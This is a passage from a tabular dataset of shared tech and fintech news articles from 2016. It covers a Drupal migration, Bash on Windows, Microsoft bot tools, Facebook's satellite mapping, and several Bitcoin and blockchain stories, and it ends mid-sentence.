needed to be converted to their equivalent in the Drupal database. To handle most of the scenarios, we have used the prepareRow() method provided by the Migrate module to verify and update the data before it was saved in the database. For instance, some fields with values of ""Yes"" or ""No"" needed to be converted to booleans (values 1 and 0 respectively) as per Drupal's requirements. Another example was the strings from the old site that were transformed into new taxonomy terms in Drupal. Example of our usage of the prepareRow() method. For some entries in the old site source there was a reference to another entry in that site. If the Migrate module had not already migrated that reference, it wouldn't be able to fill in the data properly. We ended up using the createStub() method provided by the Migrate module to create a temporary entry in Drupal, so the module could move on with its process and later replace it with the proper entry from the old site. Finally, we used the postImport() method to allow us to clean up some leftover data from the database as soon as the whole migration finished, completing the last migration step. Example of our usage of the postImport() method. Lessons Learned As mentioned, one of the big challenges we faced was that the data was not properly standardized. One thing that we could have done was to make sure everything was properly ""cleaned"" before starting the migration. Another issue that challenged us during the development and testing of the solution was the query's performance -- really slow due to the amount of fields and joins, unfortunately an unavoidable issue in our scenario. Challenges aside, the migration was completed successfully thanks to the Migrate module and its API. That allowed us to reuse most of the code for all the migration scenarios.",en
1459395134,CONTENT SHARED,-5431549861280885742,3891637997717104548,-910102441365544094,,,,HTML,https://www.drupal.org/project/coder,Coder | Drupal.org,"Coder checks your Drupal code against coding standards and other best practices. It can also fix coding standard violations for you with the phpcbf command from PHP_CodeSniffer, see the installation instructions and usage examples. Those checks apply to all versions of Drupal, so you can use Coder 8.x-2.x to check Drupal 7 code.",en
1459396917,CONTENT SHARED,1003778007373126185,-1032019229384696495,-4690277498179936282,,,,HTML,http://www.wsj.com/articles/spotify-raises-1-billion-in-debt-financing-1459284467,Spotify Raises $1 Billion in Debt Financing,"Music-streaming site Spotify AB has raised $1 billion in convertible debt from investors, a deal that extends the money-losing company's runway but comes with some strict guarantees, people familiar with the matter said. Private-equity firm TPG, hedge fund Dragoneer Investment Group and clients of Goldman Sachs Group Inc. participated in the deal, which has been signed and is expected to close at the end of this week, these people...",en
1459418555,CONTENT SHARED,-1060990524105135617,-1443636648652872475,8918553759518979549,,,,HTML,https://developers.googleblog.com/2016/03/introducing-new-developer-show-machine.html,"Introducing a new developer show ""Machine Learning: Recipes for New Developers""","Posted by Josh Gordon , Developer Advocate To help you get started building applications with machine learning, we're excited to launch a new developer show, Machine Learning: Recipes for New Developers. In the first few episodes, we'll teach you the ropes of machine learning without requiring any major prerequisites (like calculus). As the series progresses, we'll walk you from ""Hello World"" to solving some real world problems. Episodes will generally publish bi-weekly, and be only about 5-10 minutes in length to keep the material lightweight. Occasionally, we'll have guests on the show who work with machine learning on different teams around Google. Ep #1: Hello World. Six lines of Python is all it takes to write your first machine learning program! In this episode, we'll briefly introduce what machine learning is and why it's important. Then, we'll follow a recipe for supervised learning (a technique to create a classifier from examples) and code it up. Also: Coffee with a Googler came to NYC! Laurence and Josh talk about the importance of machine learning for developers, and reducing barriers to machine learning education. Check out the video!",en
1459418812,CONTENT SHARED,-9100490342054218852,-1443636648652872475,8918553759518979549,,,,HTML,http://fortune.com/2016/03/30/facebook-ai-satellite-imagery/,What Happens When You Combine Artificial Intelligence and Satellite Imagery,"Facebook has a vested interest in helping the 4.2 billion people who still lack reliable Internet access find their way online. But when the social media company launched an effort in 2013 to provide connectivity to some of the world's most remote and disconnected regions, it immediately ran into a problem. Facebook knew these disconnected billions existed-just not precisely where in the world they were. So the Facebook Connectivity Lab team set out to find them. Using technology similar to what allows Facebook to recognize faces in photos uploaded to its service, the company sifted through more than 14 billion geospatial images captured by satellite imagery provider DigitalGlobe. The resulting maps reveal the locations of more than 2 billion disconnected people spread across 20 countries, many of them developing nations where even basic mapping data is scarce. Courtesy of digitalglobe Courtesy of digitalglobe Facebook's ambitious foray into geospatial big data comes at a time when commercial satellite operators are poised to turn the data spigot wide open. Over the next 18 months, companies dealing in satellite imagery plan to place several dozen new satellites in orbit. By the middle of next year, many of those same companies expect to achieve daily ""refresh rates""-new imagery of the same parts of the planet-at least once every 24 hours. Humans will soon be able to see huge swaths of the planet change daily. With the effort, Facebook joins a growing cast of Silicon Valley companies scrambling to perfect ­""machine learning""-a newly popular form of artificial intelligence-that could unlock value in petabytes of satellite imagery. ""There's a lot of location data out there, but there hasn't been a good way to use it to answer questions,"" says Kevin Lausten, director of geospatial big data at DigitalGlobe. ""If you can start to correlate all this information, you can uncover business opportunities."" Courtesy of DigitalGlobe Discovering correlations within reams of visual data requires technology that can both see and comprehend. To turn DigitalGlobe's raw satellite images into meaningful insights, Facebook engineers had to teach their image-recognition engines what to look for-in this case, man-made structures and other infrastructure indicative of human activity. Then they set the software to work on roughly 14.6 billion DigitalGlobe images, documenting the location of every building across some 21.6 million square kilometers of the earth's surface. Companies have long used satellite image data to understand global economic trends-counting cars in Walmart parking lots, for example. But the computer vision and machine learning tools necessary to automate the process are only now beginning to mature. ""We could not have done this five years ago,"" says Pavel Machalek, co-founder and CEO of Spaceknow, one of several Silicon Valley data analytics firms working with commercial satellite data. The convergence of computing power, machine learning, and satellite imagery is ""a perfect storm that's just beginning to peak,"" he adds, allowing geospatial data companies to answer more questions than before. Courtesy of DigitalGlobe Spaceknow, for instance, uses satellite imagery to monitor changes at 6,000 industrial facilities in China. The company's China Satellite Manufacturing Index serves as an alternative to notoriously inaccurate Chinese government data. Orbital Insight, another Silicon Valley geospatial data company, tracks national and global trends as well as more esoteric indicators, such as where all the world's surface water is at any given time, which holds significant interest for scientists and the global insurance industry. Descartes Labs, of Los Alamos, N.M., uses satellite data to predict the yield of U.S. corn harvests, often more accurately than the Department of Agriculture. And where logging companies previously used samples to estimate the number of trees in an area of forest, DigitalGlobe taps its software to count trees, one by one, across millions of acres of forest. Courtesy of DigitalGlobe The leap from ""estimate"" to ""accurate"" carries big bottom-line implications for industries worth hundreds of billions of dollars. And geospatial data analytics companies are only beginning to wrap their heads around the possibilities, says Luke Barrington, DigitalGlobe's senior director of platform products. ""The data are out of our basement and into the cloud,"" he says. ""Now comes the fun stuff."" For more on tech, watch this Fortune video: A version of this article appears in the April 1, 2016 issue of Fortune with the headline ""The View From Above.""",en
1459419865,CONTENT SHARED,4121807259563748287,-1443636648652872475,8918553759518979549,,,,HTML,http://arstechnica.com/information-technology/2016/03/microsofts-new-ai-tools-help-developers-build-smart-apps-and-bots/,Microsoft's new AI tools help developers build smart apps and bots,"Microsoft is offering new tools to help developers build interactive bots that understand natural language, the company announced at its Build conference today. There are two key components, which are available in preview and are both part of the larger Cortana Intelligence Suite. ""The first, Microsoft Cognitive Services , is a collection of intelligence APIs that allows systems to see, hear, speak, understand and interpret our needs using natural methods of communication,"" Microsoft said . ""The second, the Microsoft Bot Framework , can be used by developers-programming in any language-to build intelligent bots that enable customers to chat using natural language on a wide variety of platforms including text/SMS, Office 365, Skype, Slack, the Web and more."" Though Microsoft's own ""Tay"" bot became a public relations nightmare , the company demonstrated how artificial intelligence applications built with Microsoft technology can be useful in the real world. Most impressive right now is ""Seeing AI,"" an application to help blind people navigate the world, built by a blind Microsoft software engineer named Saqib Shaikh. As seen in the video above, Shaikh uses Seeing AI with both a smartphone and the Pivothead smart glasses to get information about his surroundings. While outside, Shaikh taps the side of his glasses to take a picture of a man doing a skateboard trick, and a voice tells him, ""I think it's a man jumping through the air doing a trick on a skateboard."" Later, Shaikh is having a conversation with a few people and is able to get a description of their faces and emotions. As a blind person, Shaikh said it can be difficult to determine whether people he's talking to are listening intently or bored to the verge of sleep. But after taking a picture with his sunglasses, he is told that he is talking to a ""40-year-old man with a beard, looking surprised,"" and a ""20-year-old woman, looking happy."" ""The app can describe the general age and gender of the people around me and what their emotions are, which is incredible,"" Shaikh said. In another scene, Shaikh uses the smartphone app in a restaurant to find out what's on the menu. ""Years ago, this was science fiction. I never thought it would be something you could actually do, but artificial intelligence is improving at an ever faster rate,"" he said. Seeing AI is described by Microsoft as a ""research project under development,"" with no word on public availability. Seeing AI was written using the intelligence APIs from Microsoft Cognitive Services. Microsoft also demonstrated what its new Bot Framework can do by showing a conversational bot designed for ordering Domino's Pizza. In the demo, a PC user talks to a Domino's bot in a chat window. The bot needs to be able to understand and respond to natural language. In one example, a user asks the bot, ""can you deliver three large pepperoni pizzas to my crib?"" Since the bot doesn't initially understand that a ""crib"" is someone's house, the bot's human designer has to tag the word and designate it as a location. This human intervention is required to help the bot learn, but Microsoft Distinguished Engineer Lili Cheng promised that it will not be difficult. Microsoft Microsoft's bot for ordering Domino's Pizza. Microsoft A tool for teaching the bot to understand natural language. ""You don't need to be a data science expert, and in fact you don't even really need to know how to code to help your bot improve,"" she said. Cheng's demo included some tools that aren't yet available in the Bot Framework, so any pizza-ordering bot you build today might not be as intelligent as the one on Microsoft's stage. (We think you'll figure out some way to order pizza, though.) In related news today, Microsoft released its "" Skype Bot Platform ,"" which includes an SDK, API, and other tools. ""With this platform, developers can build bots that leverage Skype's multiple forms of communication, including text, voice, video and 3D interactive characters,"" Microsoft said.",en
1459423070,CONTENT SHARED,-6133746337603876146,-4467650312287951120,-5377596369459295459,,,,HTML,http://www.hanselman.com/blog/DevelopersCanRunBashShellAndUsermodeUbuntuLinuxBinariesOnWindows10.aspx,Developers can run Bash Shell and user-mode Ubuntu Linux binaries on Windows 10,"As a web developer who uses Windows 10, sometimes I'll end up browsing the web and stumble on some cool new open source command-line utility and see something like this: In that past, that $ prompt meant ""not for me"" as a Windows user. I'd look for prompts like or Of course, I didn't always find the prompts that worked like I did. But today at BUILD in the Day One keynote Kevin Gallo announced that you can now run "" Bash on Ubuntu on Windows ."" This is a new developer feature included in a Windows 10 ""Anniversary"" update (coming soon). It lets you run native user-mode Linux shells and command-line tools unchanged, on Windows. After turning on Developer Mode in Windows Settings and adding the Feature, run you bash and are prompted to get Ubuntu on Windows from Canonical via the Windows Store, like this: This isn't Bash or Ubuntu running in a VM. This is a real native Bash Linux binary running on Windows itself. It's fast and lightweight and it's the real binaries. This is an genuine Ubuntu image on top of Windows with all the Linux tools I use like awk, sed, grep, vi, etc. It's fast and it's lightweight. The binaries are downloaded by you - using apt-get - just as on Linux, because it is Linux. You can apt-get and download other tools like Ruby, Redis, emacs, and on and on. This is brilliant for developers that use a diverse set of tools like me. This runs on 64-bit Windows and doesn't use virtual machines. Where does WinLS fit in to your life as a developer? If you want to run Bash on Windows, you've historically had a few choices. Cygwin - GNU command line utilities compiled for Win32 with great native Windows integration. But it's not Linux. HyperV and Ubuntu - Run an entire Linux VM (dedicating x gigs of RAM, and x gigs of disk) and then remote into it (RDP, VNC, ssh) Docker is also an option to run a Linux container, under a HyperV VM Running bash on Windows hits in the sweet spot. It behaves like Linux because it executes real Linux binaries. Just hit the Windows Key and type bash. After you're setup, run apt-get update and get a few developer packages. I wanted Redis and Emacs. I did an apt-get install emacs23 to get emacs. Note this is the actual emacs retrieved from Ubuntu's feed. Of course, I have no idea how to CLOSE emacs, so I'll close the window. ;) Note that this isn't about Linux Servers or Server workloads. This is a developer-focused release that removes a major barrier for developers who want or need to use Linux tools as part of their workflow. Here I got Redis via apt-get and now I can run it in standalone mode. I'm using bash to run Redis while writing ASP.NET apps in Visual Studio that use the Redis cache. I can then later deploy to Azure using the Azure Redis Cache , so it's a very natural workflow for me. Look how happy my Start Menu is now! Keep an eye out at for technical details in the coming weeks. There's also some great updates to the underlying console with better support for control codes, ANSI , VT100, and lots more. This is an early developer experience and the team will be collection feedback and comments. You'll find Ubuntu on Windows available to developers as a feature in a build Windows 10 coming soon. Expect some things to not work early on, but have fun exploring and seeing how bash on Ubuntu on Windows fits into your developer workflow! Sponsor: BUILD - it's what being a developer is all about so do it the best you can. That's why Stackify built Prefix . No .NET profiler is easier or more powerful. You're 2 clicks and $0 away, so build on! prefix.io Hosting By",en
1459423524,CONTENT SHARED,-6713697716910928909,4340306774493623681,3903381901308718595,,,,HTML,https://blog.ethereum.org/2016/03/30/solidity-available-in-visual-studio/,Solidity Available in Visual Studio - Ethereum Blog,"Consensys and Microsoft have announced that the Ethereum contract programming language Solidity will be available in Microsoft's Visual Studio integrated development environment. ConsenSys and Microsoft collaborated on this integration to enable developers to rapidly build smart contract-based applications for the public Ethereum blockchain, as well as private and consortium blockchain deployments based on Ethereum. This integration is being revealed at //Build , Microsoft's annual developer conference, in San Francisco on March 30th; Vitalik Buterin, Consensys CEO Joseph Lubin and Consensys Enterprise director Andrew Keys will be present. Vitalik, Andrew and Microsoft CEO Satya Nadella at the //Build pre-conference reception The integration comes in the form of an extension to Visual Studio that creates project scaffolding with smart contract sample code, generates ABI and binary files for deployment, supports context-sensitive menus for compilation and deployment of smart contracts, and build an automatically generated UI for contract calling for testing purposes. This is not the first time that Microsoft has expressed interest in Ethereum technologies; the Ethereum Blockchain as a Service offering has been available since November 2015 , and has expanded to include the BlockApps Strato Ethereum toolkit, as well as several Ethereum applications, including the Cetas decentralized KYC system , the Augur prediction market , and the slock.it IoT platform. We look forward to continuing to work together with Microsoft on bringing Ethereum and blockchain technology to the masses.",en
1459423629,CONTENT SHARED,5191381587333696286,4340306774493623681,3903381901308718595,,,,HTML,https://bitcoinmagazine.com/articles/dtcc-and-digital-asset-holdings-to-test-blockchain-solutions-for-the-trillion-repo-market-1459358814,DTCC and Digital Asset Holdings to Test Blockchain Solutions for the $2.6 Trillion Repo Market,"Depository Trust & Clearing Corp. (DTCC), a firm at the center of Wall Street's trading infrastructure, is about to launch an important test of distributed ledger technology: seeing whether it can provide workable solutions for the $2.6 trillion repo market, The Wall Street Journal reports . DTCC will collaborate with Digital Asset Holdings for planning and running the test. Earlier this year, DTCC participated in a $52 million funding round for Digital Asset Holdings , with other investors including JP Morgan, Citi, Accenture, CME Group and ASX, the company behind Australia's stock market. A repurchase agreement (repo) is a form of short-term borrowing for dealers in securities. The dealer sells the government securities to investors, usually on an overnight basis, and buys them back the following day. Repos play a critical role in the financial system by keeping cash and securities circulating among hedge funds, investment banks and other financial firms. DTCC, established in 1999, focuses on post-trade financial services, providing clearing and settlement services to the financial markets. It provides central custody of securities and ways for buyers and sellers to make their exchanges in a safe and efficient way. In 2011, DTCC settled the vast majority of securities transactions in the United States and close to $1.7 quadrillion in value worldwide, making it by far the highest financial value processor in the world. In a joint press release , DTCC and Digital Asset Holdings announced plans to develop and test a distributed ledger-based solution to manage the clearing and settlement of U.S. Treasury, agency, and agency mortgage-backed repo transactions. Repo agreements were selected for this proof-of-concept because there is an opportunity to streamline how these products are cleared as repo transaction volumes continue to grow. ""Distributed ledger technology has the potential to revolutionize certain post-trade processes that are inefficient and complex, and repos are a great place to start,"" said Mike Bodson, President & CEO of DTCC. ""There are absolute opportunities to make clearing in this area much more efficient, and we look forward to working with Digital Asset on this exciting project. This initiative reflects our strong commitment to leverage this technology and help lead the industry to further lower risk and increase efficiency across financial markets."" DTCC and Digital Asset will add cryptographic ledgers to existing securities trade and settlement flows. According to the companies, the project will demonstrate how market participants will be able to create and interact with a ledger of obligations and positions which evidence matched securities transactions, including normal trading activity and repo agreements. Distributed ledger technology was chosen for its real-time information sharing capabilities, which will enable buy- and sell-side firms to agree to repo trade details much more quickly, lowering risks and costs. ""This collaboration further demonstrates Digital Asset's commitment to enhancing post-trade processes for financial market infrastructure providers and market participants,"" said Blythe Masters , CEO of Digital Asset. ""DTCC has an important role to play in the integration of a distributed ledger ecosystem with the existing financial landscape, and this joint effort will accelerate innovation while decreasing cost and risk for our clients."" Masters, a financial superstar, was appointed CEO of Digital Asset Holdings last year after a long career at JPMorgan. In 2015, Digital Asset Holdings acquired blockchain companies with innovative technologies and became a founding premier member of the Linux Foundation's open source Hyperledger Project , to drive the adoption and standardization of distributed ledger technology. DTCC is also a member of the Hyperledger project. ""As a member of Hyperledger, DTCC is helping to play a leading role in creating the governance and standards for distributed ledger technology,"" said DTCC Managing Director and Chief Technology Architect Robert Palatnick in a recent Hyperledger Project update issued by the Linux Foundation. ""Our goal is to ensure that new opportunities are in the best interests of the post-trade process and consistent with our long-term goals of mitigating risk, enhancing efficiencies and driving cost reductions for financial market participants. Open source and industry-wide collaboration are essential to realizing the full potential of distributed ledger technology and to avoid creating a disconnected maze of siloed solutions."" ""Working with DTCC is much easier than going to talk to all the participants in the repo market separately and persuading them to adopt a new technology,"" added Masters in an interview quoted by The Wall Street Journal . The move indicates that distributed ledger technology is on its way to becoming an important part of tomorrow's fintech, and there's no turning back. The first phase of the DTCC and Digital Asset repo project will start immediately, developing a proof-of-concept and integrating it into the DTCC environment. Future phases will include collaboration and testing with market participants to ensure the solution meets industry needs. Then, as reported by The Wall Street Journal , DTCC plans to deploy blockchain technology to other markets outside of repos. The detailed development and implementation plan hasn't been disclosed, but it's worth noting that Digital Asset Holdings and the Linux Foundation seem to support closed, ""permissioned"" blockchains that don't carry Bitcoin as a currency.",en
1459423664,CONTENT SHARED,2900029983899283273,4340306774493623681,3903381901308718595,,,,HTML,http://cointelegraph.com/news/governments-vs-bitcoin-a-fight-for-control,Governments vs Bitcoin: A Fight For Control,"The Vanbex Group has published a report on its website entitled ""Outlawing Bitcoin , a Matter of Control"", which focuses on the actions of the Russian government and other nations towards Bitcoin. This time, it comes attached with punitive damages that could range from million ruble fines to up to seven years in jail and the ceasing of business operations. It is a bill before the legislative Contained in this report, the road with Bitcoin and Russia has been a rocky one for years, stretching back to January 2014 when the Bank of Russia first declared digital currencies as risky, speculative and not legally bound monies. In the same year, discussion of bans and imposement of fines were raised but nothing ever materialized into law . Russia then took an ambiguous stance against the cryptocurrency last fall, as was reported by Coindesk . It was then unveiled Russia's central bank did not support the outright banning of Bitcoin, a position that was duly backed by President Vladimir Putin. Nevertheless, 2016 delivers another push by the Russian finance ministry toward halting Bitcoin-based monetary activity altogether, especially exchange related operations within the country's borders. Alexey Moiseev, Russia's deputy minister of finance, as quoted in RIA Novosti , says: ""I hope we will manage to do this in a reasonably short period of time. I believe, we will be able to bring it in before the end of the spring session, but I don't know if it will be passed in a first reading."" Currently, Bitcoin is not banned in the country, but it is not legal currency either. The finance ministry estimates that the law will be proposed in the Duma , Russia's lower house, by August. - Alexey Moiseev, Russia's deputy minister of finance. Other countries are also taking steps against Bitcoin Russia doesn't stand alone. Bolivia, Ecuador , Iceland , Kyrgyzstan and Vietnam are other countries that also have some level of ban in place for bitcoin, with China leaning in a similar direction, even going so far as to attempt to usurp the qualities and characteristics presented in bitcoin for its own centrally issued currency . Many will recall that in December 2013, the People's Bank of China and five other related government ministries released an official notice titled, Guarding Against the Risks of Bitcoin, which essentially stated bitcoin may not be used as currency in the country. The interesting aspect regarding China and Bitcoin is that Chinese miners control at least half of the cryptocurrency mining network, concentrating a lot of power over the cryptocurrency core transactional function. The national control over an entity valued at over USD $6.5 billion in market capitalization would presuppose a desire to maintain and develop that source. But the opposite is true of the Chinese government because the value resides in something that is, as Putin put it, ""backed by nothing."" Governments want to control Bitcoin Furthermore, while governments express concern over terrorist financing and money laundering activity as principled reasons to outlaw the production, circulation and exchange of Bitcoin, the core factor boils down to sovereignty over one's own system, be it monetary or otherwise. The Vanbex report says that the Russian and Chinese positions show that block-size scaling and billion-dollar valuations don't matter if the currency exists within a closed-off system or one that cannot be appropriately regulated, pegged to a national or fiat currency and centralized in some form. A decentralized digital currency requires regulation and oversight. This is not a novel thought. Some advocates in favour of the proliferation of cryptocurrency view anonymity and decentralization as an avenue toward a post-regulatory financial system. But as fantastic as that sounds it is beyond the bounds of what can be considered practical - from a point of economic management it's near to impossible. Russian government officials would prefer the ruble to be the only legal currency used in the country and that its central bank be the only legal entity allowed to issue currency, whether in physical or electronic form. The Vanbex Group thinks that this is about control. At the moment, Bitcoin is better positioned for investment A decentralized currency that lacks any regulatory framework and oversight is a volatile currency, and increasingly, a virtual commodity, better positioned for investment. In addition, it is a currency privy to activity outside the bounds of the common good. A decentralized cryptocurrency is certainly a revolutionary idea but as revolutionary ideas go, it must occur not at the behest of the current order of things, but beyond it. Bitcoin's days may not be numbered but its current position as a digital currency free of much, if any, oversight is counterintuitive to progressive development of a digital society as a whole. Disruptive does not mean dissociative, explained Lisa Cheng, Vanbex Group CEO, and despite the failings of government, and what anarchists may advocate, order and enforcement are critical ingredients to ensuring, or at least trying to ensure, the playing field is level.",en
1459423691,CONTENT SHARED,4849766494522371290,4340306774493623681,3903381901308718595,,,,HTML,http://bitcoinist.net/cashila-announces-convenient-buy-and-sell-feature-for-ethereum/,Cashila Announces Convenient Buy and Sell Feature For Ethereum,"There seems to be no love lost between central banks and companies active in the world of Bitcoin and blockchain technology. But at the same time, Cashila is the world's first Bitcoin payment processor with a license by a Central Bank, showing there is a way to bridge the gap between both sides of the financial sector. The new service offered by this company lets users buy, sell, and store Ethereum in a quick and convenient way. Also read: Wheel of Doge Allows Players to Use Any Coin Through ShapeShift Cashila Ventures Into The Ethereum World It is not uncommon to see existing platforms explore the Ethereum side of things as well since there is a lot of revenue to be made from doing so. Various Bitcoin exchanges offer consumers a way to easily buy and sell Ether, the token of the Ethereum protocol. Kraken, Bitfinex, Coincheck, and Korbit are just a few of the platforms to have done so in the past year. But when it comes to payment processors, there does not seem to be any indication of them looking to embrace soon. Cashila is the first one to do, and they have big plans for expanding their service in the next few weeks. Right now, the company is best-known for enabling users to make daily payments - or direct wire transfers - to anyone in the European Union by using Bitcoin. Moreover, users can receive Bitcoin or payments denominated in EUR to their online Cashila wallet . But ever since the Ethereum developers released Homestead, there has been growing internal talk about the addition of Ether to the platform. Although it remains unclear whether or not this new service will be a standalone platform or just a part of the current services, the plan is to let Cashila users exchange between EUR and Ether on-the-go. In return, this should bring additional liquidity to both markets. Cashila Co-founder Jani Valjavec stated: ""Buying Ether is currently too hard for an average person. That's why we're building the easiest possible way for one to buy and securely store Ether."" To make the process of buying and selling Ethereum a lot more convenient for users, the company has been actively developing a new unnamed service. Although the name remains unknown for now, we do know the new service will let users buy and sell with just one click, at a fixed price. Additionally, the new service will support both the ETH and EUR wallet , allowing for quick conversions between both types of currency. Last but not least, it will be possible for EU customers to deposit and withdraw funds through SEPA, assuming one live sin any of the countries supporting this payment method. Low Costs And No Verification Needed One of the biggest drawbacks for novice users is how they have to go through a thorough verification procedure before being able to buy Ethereum on most exchanges. Cashila is taking a different approach, as users will not need to provide any documentation to verify their identity. However, there will be an EUR 1,000 trading limit in place, which can be lifted by submitting the necessary documents. Most convenient exchange solutions charge - sometimes rather high - fees for that particular service, but Cashila wants to keep the costs a slow as possible. Based on the information we have received, there will be a 1% fee applied to trades, and conversions to SEPA can be done any working day. Moreover, storing ETH can be done through the secure online wallet , which will support 2FA for all the key actions. What are your thoughts on this new service announcement by Cashila? Are you looking forward to giving it a try? Let us know in the comments below! Source: Press Release Via Email Images courtesy of Cashila, Ethereum, Shutterstock Jp Buntinx JP Buntinx is a freelance Bitcoin writer and Bitcoin journalist for various digital currency news outlets around the world. In other notes, Jean-Pierre is an active member of the Belgian Bitcoin Association, and occasionally attends various Bitcoin Meetups in Ghent and Brussels More than 55.000 financial technology enthusiasts from all over Europe have voted for their favourite European Fi... Bitcoin ransomware has been a thorn in the eye of many digital currency enthusiasts, and security experts have had ... 30 March 2016 - Decentraleyes, a decentralized privacy addon for Firefox goes above and beyond to deliver a priva...",en
1459423718,CONTENT SHARED,6200172800690402606,4340306774493623681,3903381901308718595,,,,HTML,http://cointelegraph.com/news/bitit-launches-to-solve-bitcoin-biggest-issues-accessibility-and-fraud,Bitit Launches to Solve Bitcoin Biggest Issues - Accessibility and Fraud,"Bitit, a Paris-based startup, has launched its in-person Bitcoin programme in over 100,000 worldwide locations. Bitit offers in person Bitcoin purchasing via receipts ranging from €25 to €250 that are bought from cashiers, and can be redeemed for Bitcoin. It hopes to launch its prepaid plastic and digital gift cards programme soon. Making it easier to acquire Bitcoin Co-founder and CEO of Bitit, Nicolas Katan, says, despite recent worries about Bitcoin , he is still a firm believer in the cryptocurrency . It allows consumers to avoid banks and credit cards , and the hefty transaction fees that come with them. And that is revolutionary, and vital as this in turn allows consumers to have greater controls over their own money. However, he recognises that Bitcoin itself does have its own issues. Bitit hopes to solve two of the biggest, accessibility and fraud , which he says will make it easier than ever for average consumers to acquire the cryptocurrency. This is due in part to the fact that the fundamental system underpinning Bitcoin, the Blockchain , can seem incredibly complicated to those who are not technologically inclined, so they end up avoiding it. Nicolas Katan, Co-founder and CEO of Bitit, says: ""We have a vision to democratize Bitcoin for all. Bitcoin is a really great technology. But the problem for now is that it is complicated and difficult for people to access."" Preventing fraud The other issue Katan believes faces Bitcoin is fraud; because of Bitcoin's reported anonymity and low transaction fees, those wishing to launder money see it as a very useful option. This has led to high rates of fraud among in-person Bitcoin retailers, which in turn has meant retailers charge inordinate fees of up to 20% in an attempt to curb its nefarious usage. Bitit tackles this issue without high fees by offering a system whereby people can buy up to $25 in BTC without any paperwork, but after that, they must submit a series of identity verification documents, to buy BTC up to a limit of $500. Katan adds: ""Our value creation is how we manage the risk. When you say Bitcoin and credit card, you think: fraud."" How it works Bitit has partnered with French company, Neosurf, which produces vouchers that allow you to use cash to buy a one-time use paper gift card, about the size of a receipt. These can then be redeemed for online purchases. In this case, they are used for redeeming Bitcoin. The system is very much similar to that of Flexepin in North America . These paper gift cards are available in all of Bitit's new 100,000 locations. Although paper gift card Bitcoin purchasing is not exactly revolutionary, having been seen before in Canada and the US, this will be the first opportunity to buy BTC with euros. Neosurf's already wide usage has allowed Bitit to be available is such a large number of locations, compared to BitAccess' 6,000 locations in Canada, and LibertyX's 19,000 locations in the US. Bitit also offers online Bitcoin purchasing, and soon the company will offer customers the ability to buy plastic gift cards and electronic vouchers to be given as gifts. At present, they are being sold as part of a trial at 'La Maison du Bitcoin' in Paris , a space for those working on Bitcoin-related projects to meet up. The company hopes to eventually develop its own BTC wallet in the future, as presently a third-party wallet is still required for storing Bitcoin. The company formed with support from 'The Family', a Parisian startup incubator that gave Bitit $20,000 in 2015 to begin business. Already, Bitit has processed the equivalent of $60,000 in Bitcoin transactions . Despite its recent successes, the small startup hasn't yet raised its first round of funding, having been founded last year, but Katan says he is currently working to raise the company's first official round of venture capital to expand his small team of three people. Nicolas Katan explains: ""We are going to have a lot more transactions. It's growing really fast. We have to be ready to continue to adapt our fraud system and make people know they can trust us.""",en
1459423749,CONTENT SHARED,-3810375613673461625,4340306774493623681,3903381901308718595,,,,HTML,https://news.bitcoin.com/bitcoins-electricity-use-match-denmark-worth/,Growing Global Electricity Consumption Is Not Just Bitcoin's Fault,"Over the years, there has been a lot of focus on the energy usage associated with Bitcoin mining. Given the growing demand for mining hashpower to keep the network going, more devices are being deployed by hardware manufacturers, all of which draw a significant amount of energy from the wall. A recent article shows how growing power consumption by Bitcoin miners could outpace the total electricity consumption of Denmark by 2020. Also read: Bitfury Pays in Bitcoin to Join UK's Innovate Finance Growing Bitcoin Electricity Consumption One thing to understand about the network is how transactions are being confirmed by the people actively mining blocks. Every transaction has an associated , which will pay for its inclusion in one of the next blocks on the Bitcoin network. However, mining Bitcoin is not an easy task, as the ecosystem has grown exponentially over the past seven years, and the mining world has undergone several changes as well. Bitcoin mining hardware has become far more compared to a few years ago, but there is also a hefty increase in electricity consumption per device. This is only normal, as more powerful hardware requires more energy to operate. However, in the Bitcoin mining world, power consumption has become so high that mining at home is all but impossible in most countries, due to electricity costs. A recent article on Motherboard Vice shows how one environmental researcher calculated that the total Bitcoin mining electricity consumption will be on the same level as the entire country of Denmark by 2020. Although electricity consumption in Bitcoin has been a point of considerable discussion for quite some time now, things seem to be getting out of hand. Powering an entire financial ecosystem is not an easy task, and in the case of Bitcoin, individual play a significant role. If no more miners were directing their computers and hardware at the Bitcoin network, transactions would no longer be processed, and all payments come to a screeching halt. Luckily, dedicated hardware manufacturers are rolling out new mining equipment on a regular basis. Mining chips become more efficient and smaller in size, resulting in lower energy consumption as well. However, as more of these chips are packed together on within a Bitcoin miner, the total electricity consumption is not going down by all that much, even though its mining power is increasing compared to previous generations. On paper, it should become easier to mine Bitcoin, as the machines become more efficient while drawing less energy. But at the same time, there is the mining difficulty on the network, a factor determined by how many people are actively mining. Although the difficulty will fluctuate, the rate will keep going up as long as new miners are coming to the network. A larger total hashrate on the Bitcoin network will make all mining hardware slightly less efficient over time, and lead to a growing demand for more equipment to be deployed. The Good or the Bad Scenario The Motherboard points out there are two likely scenarios for Bitcoin mining in a few years from now. Assuming the technology becomes even more energy efficient, hardware evolves at a faster pace and high electricity usage devices will be replaced. As a result, the total hashrate growth should slow down over time. Given the upcoming Bitcoin block reward , that latter part is not that unlikely, depending on the price per bitcoin at that point. Such a scenario could, actually, lead to a slower increase in total electricity consumption. What is a more likely scenario, however, is how there will be a stagnation as far as Bitcoin mining efficiency is concerned. On top of that, people owning a miner would be forced to run them five years to earn back some of their investment, at a higher power consumption rate. With a growing total hashrate and no measurable effect of the halving block reward, the total power consumption of the Bitcoin network could indeed reach the same level as the entire country of Denmark. Although the article does mention all of these predictions should be taken with the proverbial pinch of salt, they give digital currency enthusiasts plenty to think about. There is no denying mining Bitcoin is a very costly business, and things will only get more costly every year unless a breakthrough in efficiency is made. Everything Uses A Lot of Electricity However, many critics are always quick to point out the electricity consumption by the Bitcoin network. But it is equally important to keep in mind Bitcoin offers the first ever global alternative financial ecosystem , which anyone in the world can access. Financial freedom has its price, and that price comes in the form of electricity, a resource that can be generated in a wide variety of way. In fact, this is also why a lot of bigger mining operations are moving to countries where green, sustainable energy can be found in abundance such as Iceland, whose power consumption per capita is the highest in the world , and that's probably not a coincidence. Additionally, Bitcoin is not the only concept requiring more and more energy these days. A lot of people use their smartphone, tablet, and other electronic devices on a daily basis, and these items need to be charged on a regular basis. There is no denying electricity consumption is increasing all over the world, and painting Bitcoin as an energy hog is rather myopic. We can also expect Bitcoin mining companies to discover more efficient and sustainable energy sources not only to reduce costs but also boost their public image. Our entire society is relying on electricity, ranging from turning on the lights to consuming media and being connected to the internet. All of these devices require electricity, and until smart grids come to fruition, there will be inequality regarding the prices and 